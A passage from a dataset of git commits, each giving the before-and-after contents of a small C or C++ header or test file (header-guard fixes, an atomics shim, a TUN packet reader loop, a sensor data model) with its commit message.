FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#ifndef STDNORETURN_H\n#define STDNORETURN_H\n\n#if defined(__clang__) && __clang_major__ == 3 && __clang_minor__ == 0\n#define noreturn\n#else\n#define noreturn _Noreturn\n#endif\n\n#endif\n","subject":"Fix lack of _Noreturn support in Clang 3.0.","message":"Fix lack of _Noreturn support in Clang 3.0.\n","lang":"C","license":"isc","repos":"grahamedgecombe\/arc,grahamedgecombe\/arc,grahamedgecombe\/arc"}
{"commit":"28726b93b0b9ae221f54ab7cc297d09a9af6843a","old_file":"src\/lib\/pubkey\/rfc6979\/rfc6979.h","new_file":"src\/lib\/pubkey\/rfc6979\/rfc6979.h","old_contents":"\/*\n* RFC 6979 Deterministic Nonce Generator\n* (C) 2014 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_RFC6979_GENERATOR__\n#define BOTAN_RFC6979_GENERATOR__\n\n#include <botan\/bigint.h>\n#include <string>\n\nnamespace Botan {\n\n\/**\n* @param x the secret (EC)DSA key\n* @param q the group order\n* @param h the message hash already reduced mod q\n* @param hash the hash function used to generate h\n*\/\nBigInt BOTAN_DLL generate_rfc6979_nonce(const BigInt& x,\n                                        const BigInt& q,\n                                        const BigInt& h,\n                                        const std::string& hash);\n\n}\n\n#endif\n","new_contents":"\/*\n* RFC 6979 Deterministic Nonce Generator\n* (C) 2014 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_RFC6979_GENERATOR_H__\n#define BOTAN_RFC6979_GENERATOR_H__\n\n#include <botan\/bigint.h>\n#include <string>\n\nnamespace Botan {\n\n\/**\n* @param x the secret (EC)DSA key\n* @param q the group order\n* @param h the message hash already reduced mod q\n* @param hash the hash function used to generate h\n*\/\nBigInt BOTAN_DLL generate_rfc6979_nonce(const BigInt& x,\n                                        const BigInt& q,\n                                        const BigInt& h,\n                                        const std::string& hash);\n\n}\n\n#endif\n","subject":"Fix header guard for amalgamation","message":"Fix header guard for amalgamation\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan"}
{"commit":"ea154d7d98f4c6d1ded69031ff583b4f4c47118b","old_file":"src\/core\/internal\/kms-utils.h","new_file":"src\/core\/internal\/kms-utils.h","old_contents":"#ifndef __KMS_UTILS_H__\n#define __KMS_UTILS_H__\n\n#include <gst\/gst.h>\n\nGstElement* kms_get_pipeline();\n\nvoid kms_dynamic_connection(GstElement *orig, GstElement *dest, const gchar *name);\n\nGstElement* kms_utils_get_element_for_caps(GstElementFactoryListType type,\n\t\t\t\tGstRank rank, const GstCaps *caps,\n\t\t\t\tGstPadDirection direction, gboolean subsetonly,\n\t\t\t\tconst gchar *name);\n\n#endif \/* __KMS_UTILS_H__ *\/\n","new_contents":"#ifndef __KMS_UTILS_H__\n#define __KMS_UTILS_H__\n\n#include <gst\/gst.h>\n\n#define KMS_DEBUG_PIPE(name) GST_DEBUG_BIN_TO_DOT_FILE_WITH_TS(\t\t\\\n\t\t\t\tGST_BIN(kms_get_pipeline()),\t\t\\\n\t\t\t\tGST_DEBUG_GRAPH_SHOW_ALL, name);\t\\\n\nGstElement* kms_get_pipeline();\n\nvoid kms_dynamic_connection(GstElement *orig, GstElement *dest, const gchar *name);\n\nGstElement* kms_utils_get_element_for_caps(GstElementFactoryListType type,\n\t\t\t\tGstRank rank, const GstCaps *caps,\n\t\t\t\tGstPadDirection direction, gboolean subsetonly,\n\t\t\t\tconst gchar *name);\n\n#endif \/* __KMS_UTILS_H__ *\/\n","subject":"Create a macro for pipeline debugging","message":"Create a macro for pipeline debugging\n","lang":"C","license":"lgpl-2.1","repos":"lulufei\/kurento-media-server,shelsonjava\/kurento-media-server,shelsonjava\/kurento-media-server,mparis\/kurento-media-server,todotobe1\/kurento-media-server,Kurento\/kurento-media-server,Kurento\/kurento-media-server,mparis\/kurento-media-server,TribeMedia\/kurento-media-server,TribeMedia\/kurento-media-server,lulufei\/kurento-media-server,todotobe1\/kurento-media-server"}
{"commit":"ec313ebc744efcab09f2782aa86067cbeec8a424","old_file":"[42]_Bleichenbacher_s_e3_RSA_Attack\/rsa_sign_constants.h","new_file":"[42]_Bleichenbacher_s_e3_RSA_Attack\/rsa_sign_constants.h","old_contents":"#ifndef _RSA_SIGN_CONSTANTS_H_\n\t#define _RSA_SIGN_CONSTANTS_H_\n\n\/*\n *  RSA Block length. Used to determine the modulo's size.\n *\/\n#define RSA_SIGN_BLOCK_LEN (1024)\n#define RSA_SIGN_HASH_METHOD_SHA_1 (\"sha1\")\n#define RSA_SIGN_HASH_METHOD_SHA_256 (\"sha256\")\n\n\/*\n *\tSupported Hashing methods for RSA signature validation\n *\/\nenum rsa_sign_hash_method {SHA1, SHA256 }; \n\n#endif \/* _RSA_SIGN_CONSTANTS_H_ *\/\n\n","new_contents":"#ifndef _RSA_SIGN_CONSTANTS_H_\n\t#define _RSA_SIGN_CONSTANTS_H_\n\n\/*\n *  RSA Block length. Used to determine the modulo's size.\n *\/\n#define RSA_SIGN_BLOCK_LEN (RSA_SIGN_KEY_BITSIZE\/8)\n#define RSA_SIGN_KEY_BITSIZE (1024)\n#define RSA_SIGN_HASH_METHOD_SHA_1 (\"sha1\")\n#define RSA_SIGN_HASH_METHOD_SHA_256 (\"sha256\")\n\n\/*\n *\tSupported Hashing methods for RSA signature validation\n *\/\nenum rsa_sign_hash_method {SHA1, SHA256 }; \n\n#endif \/* _RSA_SIGN_CONSTANTS_H_ *\/\n\n","subject":"Add RSA byte length constant","message":"Add RSA byte length constant\n\nA RSA byte length define was added to disambiguate RSA_KEY_BITLENGTH\n(typically 1024 here) from the RSA byte block length.\n","lang":"C","license":"mit","repos":"lucasg\/Cryptopals,lucasg\/Cryptopals,lucasg\/Cryptopals,lucasg\/Cryptopals"}
{"commit":"55af85fb1da9a202d6ca6f437c30b927d4153c39","old_file":"Include\/KAI\/Platform\/GameController.h","new_file":"Include\/KAI\/Platform\/GameController.h","old_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif \/\/ SHATTER_PLATFORM_GAME_CONTROLLER_H\n\n\/\/EOF\n","new_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif\n\n\/\/EOF\n","subject":"Add some color for console output","message":"Add some color for console output\n\n\nFormer-commit-id: 315cc71afe5d5245e60ce4564328619c49310b6a\nFormer-commit-id: 4afa9ab712a2bdbef25bee286ff0bdcf2a8da2b2","lang":"C","license":"mit","repos":"cschladetsch\/KAI,cschladetsch\/KAI,cschladetsch\/KAI"}
{"commit":"296a1a19d14a6bf5d97e66370d89f0b64da87175","old_file":"iree\/compiler\/Translation\/SPIRV\/LinalgToSPIRV\/Passes.h","new_file":"iree\/compiler\/Translation\/SPIRV\/LinalgToSPIRV\/Passes.h","old_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef IREE_COMPILER_TRANSLATION_SPIRV_LINALGTOSPIRV_PASSES_H\n#define IREE_COMPILER_TRANSLATION_SPIRV_LINALGTOSPIRV_PASSES_H\n\n#include \"mlir\/Pass\/Pass.h\"\n\nnamespace mlir {\nnamespace iree_compiler {\n\n\/\/\/ Pass to get gpu.module from a gpu.launch operation.\nstd::unique_ptr<OpPassBase<FuncOp>> createIREEGpuKernelOutliningPass();\n\n}  \/\/ namespace iree_compiler\n}  \/\/ namespace mlir\n\n#endif\n","new_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef IREE_COMPILER_TRANSLATION_SPIRV_LINALGTOSPIRV_PASSES_H\n#define IREE_COMPILER_TRANSLATION_SPIRV_LINALGTOSPIRV_PASSES_H\n\n#include \"mlir\/Pass\/Pass.h\"\n\nnamespace mlir {\nnamespace iree_compiler {\n\n\/\/\/ Pass to get gpu.module from a gpu.launch operation.\nstd::unique_ptr<OpPassBase<ModuleOp>> createIREEGpuKernelOutliningPass();\n\n}  \/\/ namespace iree_compiler\n}  \/\/ namespace mlir\n\n#endif\n","subject":"Fix mismatch in function signature and implementation.","message":"Fix mismatch in function signature and implementation.\n\nPiperOrigin-RevId: 299956663\n","lang":"C","license":"apache-2.0","repos":"google\/iree,iree-org\/iree,iree-org\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,google\/iree,iree-org\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,google\/iree"}
{"commit":"63240613241e0de9b977cc2986ef801a40102ddc","old_file":"PerfCounter.h","new_file":"PerfCounter.h","old_contents":"","new_contents":"#ifndef TUVOK_PERF_COUNTER_H\n#define TUVOK_PERF_COUNTER_H\n\n\/\/\/ Valid performance counters the system should track.\n\/\/\/ When adding a new counter, please add a (units) clause so we know how to\n\/\/\/ interpret the value!\nenum PerfCounter {\n  PERF_DISK_READ=0,    \/\/ reading bricks from disk (seconds)\n  PERF_DECOMPRESSION,  \/\/ decompressing brick data (seconds)\n  PERF_COMPRESSION,    \/\/ compressing brick data (seconds)\n  PERF_BRICKS,         \/\/ number of bricks read\/processed (counter)\n  PERF_END_IO, \/\/ invalid; end of IO-based metrics\n\n  PERF_READ_HTABLE=1000, \/\/ reading hash table from GPU (seconds)\n  PERF_CONDENSE_HTABLE,  \/\/ condensing hash table [removing empties] (seconds)\n  PERF_RENDER,           \/\/ (seconds)\n  PERF_UPLOAD_BRICKS,    \/\/ uploading bricks to GPU [tex updates] (seconds)\n  PERF_END_RENDER, \/\/ invalid; end of render-based metrics\n  PERF_END \/\/ invalid; used for sizing table.\n};\n\n\/\/\/ interface for classes which can be queried in this way.\nstruct PerfQueryable {\n  virtual double PerfQuery(enum PerfCounter) = 0;\n};\n\n#endif\n\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2013 Interactive Visualization and Data Analysis Group\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n","subject":"Add generic perf counter definitions.","message":"Add generic perf counter definitions.\n\ngit-svn-id: 0a20d38d1bcdb3210d244a647211d61b0aabf366@284 5b8196f7-c1c0-4be6-8b13-4feed349168d\n","lang":"C","license":"mit","repos":"BlueBrain\/Tuvok,BlueBrain\/Tuvok,BlueBrain\/Tuvok"}
{"commit":"af6f4f4b27bc1d2e6200dbeff38a8f2f21d3dc4a","old_file":"PcAtChipsetPkg\/Include\/Guid\/PcAtChipsetTokenSpace.h","new_file":"PcAtChipsetPkg\/Include\/Guid\/PcAtChipsetTokenSpace.h","old_contents":"","new_contents":"\/** @file\r\n  GUID for PcAtChipsetPkg PCD Token Space \r\n\r\n  Copyright (c) 2009, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _PCATCHIPSET_TOKEN_SPACE_GUID_H_\r\n#define _PCATCHIPSET_TOKEN_SPACE_GUID_H_\r\n\r\n#define PCATCHIPSET_TOKEN_SPACE_GUID \\\r\n  { \\\r\n    0x326ae723, 0xae32, 0x4589, { 0x98, 0xb8, 0xca, 0xc2, 0x3c, 0xdc, 0xc1, 0xb1 } \\\r\n  }\r\n\r\nextern EFI_GUID gPcAtChipsetPkgTokenSpaceGuid;\r\n\r\n#endif\r\n","subject":"Add declaration header file for token space.","message":"Add declaration header file for token space.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@8781 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"2307eb88c7452b5a83f7a7931bdf2a0a0435f5f8","old_file":"test\/input\/replace_minus.c","new_file":"test\/input\/replace_minus.c","old_contents":"#include <string.h>\n#include \"..\/..\/input.h\"\n\nint main(void)\n{\n    char before[64] = \"-2+1\";\n    char after[64] = \"(0-2.000000)+1\";\n\n    replace_minus(before);\n    if (strcmp(before, after) == 0){\n        return (0);\n    }\n    else {\n        return (-1);\n    }\n}\n","new_contents":"#include <string.h>\n#include \"..\/..\/input.h\"\n\nint main(void)\n{\n    \/\/ a case removable\n    char before1[64] = \"-2+1\";\n    char after1[64] = \"(0-2.000000)+1\";\n    replace_minus(before1);\n    if (strcmp(before1, after1) != 0){\n        return (-1);\n    }\n\n    \/\/ a case not removable\n    char before2[64] = \"3-2\";\n    char after2[64] = \"3-2\";\n    replace_minus(before2);\n    if (strcmp(before2, after2) != 0){\n        return (-1);\n    }\n\n    return (0);\n}\n","subject":"Add new test to remove_minus","message":"Add new test to remove_minus\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"40225798d32b3b36bf03583865fe88bfee2f31bc","old_file":"lib\/Common\/Memory\/MarkContextWrapper.h","new_file":"lib\/Common\/Memory\/MarkContextWrapper.h","old_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n\n#include \"core\/RecyclerHeapMarkingContext.h\"\n\n\/\/ Class used to wrap a MarkContext so that calls to MarkObjects during IRecyclerVisitedObject::Trace\n\/\/ can mark with the correct contextual template parameters\ntemplate<bool parallel>\nclass MarkContextWrapper : public IRecyclerHeapMarkingContext\n{\npublic:\n    MarkContextWrapper(MarkContext* context) : markContext(context) {}\n\n    void __stdcall MarkObjects(void** objects, size_t count, void* parent) override\n    {\n        for (size_t i = 0; i < count; i++)\n        {\n            \/\/ We pass true for interior, since we expect a majority of the pointers being marked by\n            \/\/ external objects to themselves be external (and thus candidates for interior pointers).\n            markContext->Mark<parallel, \/*interior*\/true, \/*doSpecialMark*\/ false>(objects[i], parent);\n        }\n    }\n\nprivate:\n    \/\/ Should only be created on the stack\n    void* operator new(size_t);\n    MarkContext* markContext;\n};\n","new_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n\n#include \"Core\/RecyclerHeapMarkingContext.h\"\n\n\/\/ Class used to wrap a MarkContext so that calls to MarkObjects during IRecyclerVisitedObject::Trace\n\/\/ can mark with the correct contextual template parameters\ntemplate<bool parallel>\nclass MarkContextWrapper : public IRecyclerHeapMarkingContext\n{\npublic:\n    MarkContextWrapper(MarkContext* context) : markContext(context) {}\n\n    void __stdcall MarkObjects(void** objects, size_t count, void* parent) override\n    {\n        for (size_t i = 0; i < count; i++)\n        {\n            \/\/ We pass true for interior, since we expect a majority of the pointers being marked by\n            \/\/ external objects to themselves be external (and thus candidates for interior pointers).\n            markContext->Mark<parallel, \/*interior*\/true, \/*doSpecialMark*\/ false>(objects[i], parent);\n        }\n    }\n\nprivate:\n    \/\/ Should only be created on the stack\n    void* operator new(size_t);\n    MarkContext* markContext;\n};\n","subject":"Fix casing for relatively included header to fix Linux builds","message":"Fix casing for relatively included header to fix Linux builds\n","lang":"C","license":"mit","repos":"mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore,Microsoft\/ChakraCore,mrkmarron\/ChakraCore"}
{"commit":"5284cde440e54c6a841efb6a5864afdf3a0aa78e","old_file":"sdl2cubes\/tests\/test_mesh.c","new_file":"sdl2cubes\/tests\/test_mesh.c","old_contents":"#include \"..\/src\/mesh_obj.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char *args[]) {\n    if(argc < 2) {\n        printf(\"test_mesh test-mesh-name.obj\\n\");\n        return 0;\n    }\n    \/\/ read mesh from standard input, push into obj parser\n    Mesh *mesh = meshReadOBJ(args[1]);\n    if(!mesh) {\n        return 0;\n    }\n\n    unsigned numFloats = meshGetNumFloats(mesh);\n    unsigned numVertices = meshGetNumVertices(mesh);\n\n    float *buf = malloc(sizeof(float) * numFloats);\n    meshPackVertices(mesh, buf);\n\n    meshClose(mesh);\n    return 0;\n}\n","new_contents":"#include \"..\/src\/mesh_obj.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main(int argc, char *args[]) {\n    if(argc < 2) {\n        printf(\"usage: test_mesh filename.obj\\n\");\n        printf(\"  pass - (a dash character) as filename to read from stdin\\n\");\n        return 0;\n    }\n    Mesh *mesh;\n    \/\/ read mesh from standard input or file, push into obj parser\n    if(!strcmp(\"-\", args[1])) {\n        mesh = meshReadOBJF(stdin, \"(stdin)\");\n    } else {\n        mesh = meshReadOBJ(args[1]);\n    }\n    if(!mesh) {\n        return 0;\n    }\n    unsigned numFloats   = meshGetNumFloats(mesh);\n    unsigned numVertices = meshGetNumVertices(mesh);\n\n    float *buf = malloc(sizeof(float) * numFloats);\n    meshPackVertices(mesh, buf);\n    meshClose(mesh);\n    free(buf);\n    return 0;\n}\n","subject":"Make mesh loader actually read stdin","message":"tests: Make mesh loader actually read stdin\n","lang":"C","license":"unlicense","repos":"teistiz\/instanssi-samples"}
{"commit":"adcbe2a70a34603eba67d5048b37132804472cda","old_file":"src\/libidaten\/cuda\/cudainit.h","new_file":"src\/libidaten\/cuda\/cudainit.h","old_contents":"#pragma once\n\n#include <cuda.h>\n#include \"cuda\/cudautil.h\"\n\nnamespace idaten {\n\tvoid initCuda()\n\t{\n\t\tcheckCudaErrors(cuInit(0));\n\t}\n}","new_contents":"#pragma once\n\n#include <cuda.h>\n#include \"cuda\/cudautil.h\"\n\nnamespace idaten {\n\tinline void initCuda()\n\t{\n\t\tcheckCudaErrors(cuInit(0));\n\t}\n}","subject":"Fix a bug that not inlined.","message":"Fix a bug that not inlined.\n","lang":"C","license":"mit","repos":"nakdai\/aten,nakdai\/aten"}
{"commit":"8f81b4e9d5c0bb8cd34da1d62d670cfa26446e43","old_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","new_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","old_contents":"","new_contents":"\/\/ Protocol Buffers - Google's data interchange format\n\/\/ Copyright 2012 Google Inc.  All rights reserved.\n\/\/ http:\/\/code.google.com\/p\/protobuf\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/     * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ This file is an internal atomic implementation, use atomicops.h instead.\n\n#ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n#define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n\nnamespace google {\nnamespace protobuf {\nnamespace internal {\n\ninline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr,\n                                         Atomic32 old_value,\n                                         Atomic32 new_value) {\n  return __sync_val_compare_and_swap(ptr, old_value, new_value);\n}\n\ninline void MemoryBarrier() {\n  __sync_synchronize();\n}\n\ninline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr,\n                                       Atomic32 old_value,\n                                       Atomic32 new_value) {\n  Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value);\n  MemoryBarrier();\n  return ret;\n}\n\ninline void Release_Store(volatile Atomic32* ptr, Atomic32 value) {\n  MemoryBarrier();\n  *ptr = value;\n}\n\ninline Atomic32 Acquire_Load(volatile const Atomic32* ptr) {\n  Atomic32 value = *ptr;\n  MemoryBarrier();\n  return value;\n}\n\n}  \/\/ namespace internal\n}  \/\/ namespace protobuf\n}  \/\/ namespace google\n\n#endif  \/\/ GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n","subject":"Add the missing PNaCl atomicops support.","message":"Add the missing PNaCl atomicops support.\n\n","lang":"C","license":"bsd-3-clause","repos":"malthe\/google-protobuf,malthe\/google-protobuf,malthe\/google-protobuf,malthe\/google-protobuf,malthe\/google-protobuf"}
{"commit":"fa458a1f7c574c0fe8d40dff4c1af418c365b8ad","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"basic.h\"\n#include \"tuntap_if.h\"\n#include \"utils.h\"\n\nint main(int argc, char** argv) {\n    int tun_fd;\n    char buf[100];\n    char *dev = calloc(10, 1);\n    CLEAR(buf);\n    tun_fd = tun_alloc(dev);\n\n    if (set_if_up(dev) != 0) {\n        printf(\"ERROR when setting up if\\n\");\n    }\n\n    if (set_if_address(dev, \"10.0.0.5\/24\") != 0) {\n        printf(\"ERROR when setting address for if\\n\");\n    };\n\n    if (set_if_route(dev, \"10.0.0.0\/24\") != 0) {\n        printf(\"ERROR when setting route for if\\n\");\n    }\n\n    read(tun_fd, buf, 100);\n\n    print_hexdump(buf, 100);\n\n    free(dev);\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"basic.h\"\n#include \"tuntap_if.h\"\n#include \"utils.h\"\n\nint main(int argc, char** argv) {\n    int tun_fd;\n    char buf[100];\n    char *dev = calloc(10, 1);\n    CLEAR(buf);\n    tun_fd = tun_alloc(dev);\n\n    if (set_if_up(dev) != 0) {\n        printf(\"ERROR when setting up if\\n\");\n    }\n\n    if (set_if_address(dev, \"10.0.0.5\/24\") != 0) {\n        printf(\"ERROR when setting address for if\\n\");\n    };\n\n    if (set_if_route(dev, \"10.0.0.0\/24\") != 0) {\n        printf(\"ERROR when setting route for if\\n\");\n    }\n\n    while (1) {\n        read(tun_fd, buf, 100);\n\n        print_hexdump(buf, 100);\n    }\n\n    free(dev);\n}\n","subject":"Read from tun buffer and print hexdump in loop","message":"Read from tun buffer and print hexdump in loop\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"d222c00f6c4fe1aea3bf4afe45582af8977d6d59","old_file":"Sensorama\/Sensorama\/SRDataModel.h","new_file":"Sensorama\/Sensorama\/SRDataModel.h","old_contents":"\/\/\n\/\/  SRDataModel.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Adam Koszek (h) on 19\/04\/2016.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Realm\/Realm.h\"\n\n@interface SRDataPoint : RLMObject\n\n@property NSNumber<RLMInt> *accX;\n@property NSNumber<RLMInt> *accY;\n@property NSNumber<RLMInt> *accZ;\n\n@property NSNumber<RLMInt> *magX;\n@property NSNumber<RLMInt> *magY;\n@property NSNumber<RLMInt> *magZ;\n\n@property NSNumber<RLMInt> *gyroX;\n@property NSNumber<RLMInt> *gyroY;\n@property NSNumber<RLMInt> *gyroZ;\n\n@property NSInteger fileId;\n@property NSInteger curTime;\n\n@end\n\n@interface SRDataFile : RLMObject\n\n@property NSString *username;\n@property NSString *desc;\n\/* need to do something about device_info *\/\n\n@property NSInteger sampleInterval;\n@property BOOL accEnabled;\n@property BOOL magEnabled;\n@property BOOL gyroEnabled;\n\n@property NSDate *dateStart;\n@property NSDate *dateEnd;\n@property NSInteger fileId;\n\n@end","new_contents":"\/\/\n\/\/  SRDataModel.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Adam Koszek (h) on 19\/04\/2016.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Realm\/Realm.h\"\n\n@interface SRDataPoint : RLMObject\n\n@property NSNumber<RLMInt> *accX;\n@property NSNumber<RLMInt> *accY;\n@property NSNumber<RLMInt> *accZ;\n\n@property NSNumber<RLMInt> *magX;\n@property NSNumber<RLMInt> *magY;\n@property NSNumber<RLMInt> *magZ;\n\n@property NSNumber<RLMInt> *gyroX;\n@property NSNumber<RLMInt> *gyroY;\n@property NSNumber<RLMInt> *gyroZ;\n\n@property NSInteger fileId;\n@property NSInteger curTime;\n\n@end\n\n@interface SRDataFile : RLMObject\n\n@property NSString *username;\n@property NSString *desc;\n@property NSString *timezone;\n\/* need to do something about device_info *\/\n\n@property NSInteger sampleInterval;\n@property BOOL accEnabled;\n@property BOOL magEnabled;\n@property BOOL gyroEnabled;\n\n@property NSDate *dateStart;\n@property NSDate *dateEnd;\n@property NSInteger fileId;\n\n@end","subject":"Add the timezone to the data model.","message":"Add the timezone to the data 